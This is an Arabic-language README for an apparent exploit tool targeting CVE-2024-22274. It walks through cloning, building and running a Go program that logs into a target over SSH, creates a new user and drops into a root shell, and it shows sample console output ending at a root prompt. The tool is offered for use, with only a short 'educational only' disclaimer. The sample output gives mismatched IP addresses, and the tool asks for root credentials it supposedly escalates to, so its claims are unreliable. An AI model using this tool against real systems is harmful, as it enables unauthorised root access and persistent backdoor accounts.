استغلال ثغرة CVE-2024-22274

يحتوي هذا المستودع على استغلال لثغرة CVE-2024-22274. يقوم الاستغلال بإنشاء مستخدم جديد على جهاز بعيد عبر SSH ثم يوفر شل جذر.

المتطلبات

• Go (Golang) مثبت على جهازك. يمكنك تنزيله من هنا.
• جهاز بعيد مع وصول SSH.

التجميع

1. استنساخ المستودع:

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. تثبيت الحزم المطلوبة:

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. ترجمة برنامج Go:

   go build -o cve-2024-22274-rce main.go
   

الاستخدام

1. تشغيل البرنامج المترجم:

   ./cve-2024-22274-rce
   

2. اتبع التعليمات:

   • أدخل عنوان المضيف للجهاز الهدف.
   • أدخل منفذ SSH (الافتراضي هو 22).
   • أدخل اسم مستخدم SSH للجهاز الهدف.
   • أدخل كلمة مرور SSH للجهاز الهدف.
   • أدخل اسم المستخدم الجديد الذي تريد إنشاءه.
   • أدخل كلمة المرور الجديدة للمستخدم الجديد.

3. بعد إنشاء المستخدم، ستحصل على شل جذر على الجهاز الهدف. يمكنك تنفيذ الأوامر كمستخدم جديد.

مثال

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

إخلاء مسؤولية

هذا الكود للأغراض التعليمية فقط. استخدمه بمسؤولية وفقط على الأنظمة التي لديك إذن لاختبارها.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.